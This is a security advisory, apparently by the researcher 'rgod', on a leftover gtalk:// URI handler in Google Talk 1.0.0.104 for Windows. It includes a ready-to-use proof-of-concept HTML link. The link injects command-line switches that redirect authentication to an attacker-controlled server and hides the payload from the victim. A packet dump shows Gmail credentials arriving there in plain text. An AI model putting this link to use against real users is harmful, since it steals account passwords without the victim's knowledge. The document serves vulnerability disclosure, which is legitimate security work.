Google Talk gtalk:// Deprecated Uri Handler /gaiaserver Parameter Injection Vulnerability tested against: Internet Explorer 8 Microsoft Windows (all versions) download url of 1.0.0.104: http://www.google.com/talk/install.html download urls of 1.0.0.105: http://www.google.com/talk/intl/it/ http://www.google.com/talk/intl/fr/ http://www.google.com/talk/intl/de/ ... rgod: "Why two versions are downloadable on the internet at the same time?" - Who is vulnerable? - More probably international users, non Eglish speaking one - When this attack does not work: -when you install Google Talk 1.0.0.104 -then you uninstall diligently 1.0.0.104 -then you install 1.0.0.105 -When this attack works: -when you install Google Talk 1.0.0.104 -then you install 1.0.0.105 or -when you installed multiple times, never using the uninstall functionality which is the reality of it -Why? Because 1.0.0.105 has not the gtalk:// uri handler functionality but the command line behaviour changed Indeeds, 1.0.0.104 or 1.0.0.105 are not vulnerable alone but 1.0.0.105, when installed, does not remove the old uri handler. My girlfriend's comment: "But people do not unistall the older one before installing the new one !!!! This is huge !!!!!!!!!!" rgod : "You are right, two steps are better than three" Vulnerability: Injection of custom parameters Google Talk 1.0.0.104 registers on windows a deprecated uri handler, registry dump: [HKEY_CLASSES_ROOT\gtalk] "URL Protocol"="" [HKEY_CLASSES_ROOT\gtalk\shell] [HKEY_CLASSES_ROOT\gtalk\shell\open] [HKEY_CLASSES_ROOT\gtalk\shell\open\command] @="\"C:\\Program Files\\Google\\Google Talk\\googletalk.exe\" \"/%1\"" By crafting a link a remote user can inject custom command line parameters. injectable parameters: /plaintextauth Uses plain authentication mechanism /gaiaserver [host:port] Uses a different GAIA server to authenticate the client /nomutex Allows multiple instances of Google Talk proof of concept: <a href='gtalk://mymail@gmail.com ???????????????????????????????????????????????????????"%20/plaintextauth%20/gaiaserver%20192.168.2.101:80%20/nomutex%20/'>chat with me</a> (???????????? ... are estethics, when prompted the victim does not see the other stuff) Gmail credentials are sent to 192.168.201:80 instead of google default gaia server, packet dump when sniffing the network or listening on that port: POST /accounts/ClientAuth HTTP/1.1 Connection: Keep-Alive Content-Length: [length] Content-Type: application/x-www-form-urlencoded Host: 192.168.2.101 User-Agent: Google Talk Email=your%40gmail.com&Passwd=%70%61%73%73&PersistentCookie=false&source=googletalk password is plain text, urldecoded: user: yout@gmail.com pass: pass Now you are done, you spiffed your password to the unknown (evil) world. If you already logged in on gmail server olders credentials are sent without user interaction, otherwise if the user tries to login manually credentials are sent aswell to the attacker server //rgod - 7.39 21/03/2012